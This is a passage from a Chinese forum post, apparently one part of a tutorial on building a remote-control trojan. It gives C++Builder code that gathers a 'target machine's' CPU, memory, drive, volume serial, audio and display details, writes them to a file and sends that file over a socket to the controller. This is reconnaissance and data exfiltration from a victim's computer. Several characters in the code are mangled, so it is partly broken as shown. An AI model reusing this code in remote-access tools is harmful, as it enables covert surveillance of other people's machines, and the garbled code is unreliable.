- 论坛徽章:
- 0
|
6、目标机器情况的获取 \r\n\r\n 相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。 \r\n\r\nAnsiString cs; \r\nFILE *fp; \r\nfp=fopen(\"temp.had\",\"w+\" ; \r\n //TODO: Add your source code here \r\n //获得CPU型号 \r\nSYSTEM_INFO systeminfo; \r\nGetSystemInfo (&systeminfo); \r\ncs=\"CPU类型是:\"+String(systeminfo.dwProcessorType)+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nMEMORYSTATUS memory; \r\nmemory.dwLength =sizeof(memory); //初始化 \r\nGlobalMemoryStatus(&memory); \r\ncs=\"物理内存是(Mb):\"+String(int(memory.dwTotalPhys /1024/1024))+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\ncs=\"可用内存是(Kb):\"+String(int( memory.dwAvailPhys/1024))+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nDWORD sector,byte,cluster,free; \r\nlong int freespace,totalspace; \r\nUINT type; \r\nchar name; \r\n//0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、 \r\n//5—CD-ROM、6—内存虚拟盘 \r\nchar volname[255],filename[100];//buffer[512]; \r\nDWORD sno,maxl,fileflag ; \r\nfor (name=‘A‘;name<=‘Z‘;name++)?{//循环检测A~Z \r\n type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型 \r\n if(type==0){ \r\n cs=\"未知类型磁盘:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n else if(type==2){ \r\n cs=\"可移动类型磁盘:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n else if(type==3){ \r\n cs=\"固定磁盘:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n else if(type==4) ? { \r\n cs=\"网络映射磁盘:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n else if (type==5) { \r\n cs=\"光驱:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n else if (type==6) { \r\n cs=\"内存虚拟磁盘:\"+String(name)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\nif(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)) { \r\n cs=String(name)+\"盘卷标为:\"+String(volname)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n cs=String(name)+\"盘序号为:\"+String(sno)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数 \r\n totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量 \r\n freespace=int(free)*byte*sector/1024/1024; //计算可用空间 \r\n cs=String(name)+String(‘:‘)+\"盘总空间(Mb):\"+AnsiString(totalspace)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n cs=String(name)+String(‘:‘)+\"盘可用空间(Mb):\"+AnsiString(freespace)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\n } \r\nint wavedevice,mididevice; \r\nWAVEOUTCAPS wavecap; \r\nMIDIOUTCAPS midicap; \r\nwavedevice=(int)waveOutGetNumDevs(); //波形设备信息 \r\nmididevice=(int)midiOutGetNumDevs(); // MIDI设备信息 \r\nif (wavedevice!=0){ \r\n waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS)); \r\n cs=\"当前波形设备:\"+String(wavecap.szPname)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\nif (mididevice!=0){ \r\n midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS)); \r\n cs=\"当前MIDI设备:\"+String(midicap.szPname)+\"\\n\"; \r\n fwrite(cs.c_str(),cs.Length(),1,fp); \r\n } \r\nlong double tcs; \r\nlong double tc; \r\nlong int bpp,cp; \r\ncs=\"当前分辨率为:\"+String(Screen->Width)+AnsiString(\"*\" + String(Screen->Height)+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nbpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL); \r\ntcs=pow(2,bpp); //计算色彩的梯度数 \r\ncp= GetDeviceCaps(Form1->Canvas->Handle,PLANES); \r\ntc= pow(double(tcs),double(cp)); //计算色深 \r\nAnsiString sss; \r\nsss=bpp; \r\ncs=\"当前色深为:\"+sss+\"\\n\"; \r\nfwrite(cs.c_str(),cs.Length(),1,fp); \r\nfclose(fp); \r\nAnsiString FileName=\"temp.had\"; \r\nchar *buf; \r\nTcpMsgUint Msg2; \r\nstrcpy(Msg2.TPassword,Password); \r\nTMemoryStream *ms=new TMemoryStream; \r\nms->Clear(); \r\nif (!FileExists(FileName)) CheckHard(); \r\nTFileStream *fs=new TFileStream(FileName,fmOpenRead); \r\nbuf=new char[fs->Size+sizeof(TcpMsgUint)+1]; \r\nfs->Read(buf,fs->Size); \r\nMsg2.Type=MsgGetHardWare; \r\nMsg2.Length=fs->Size; \r\nFileClose(fs->Handle); \r\nms->Write(&Msg2,sizeof(TcpMsgUint)); \r\nms->Write(buf,Msg2.Length); \r\nms-> osition=0; \r\ndelete []buf; \r\ntry{ \r\n sock->SendStream(ms); \r\n } \r\ncatch(Exception&e) { \r\n } \r\n} \r\n\r\n 上面一段程序,基本上把相关的系统信息都取到了。 |
|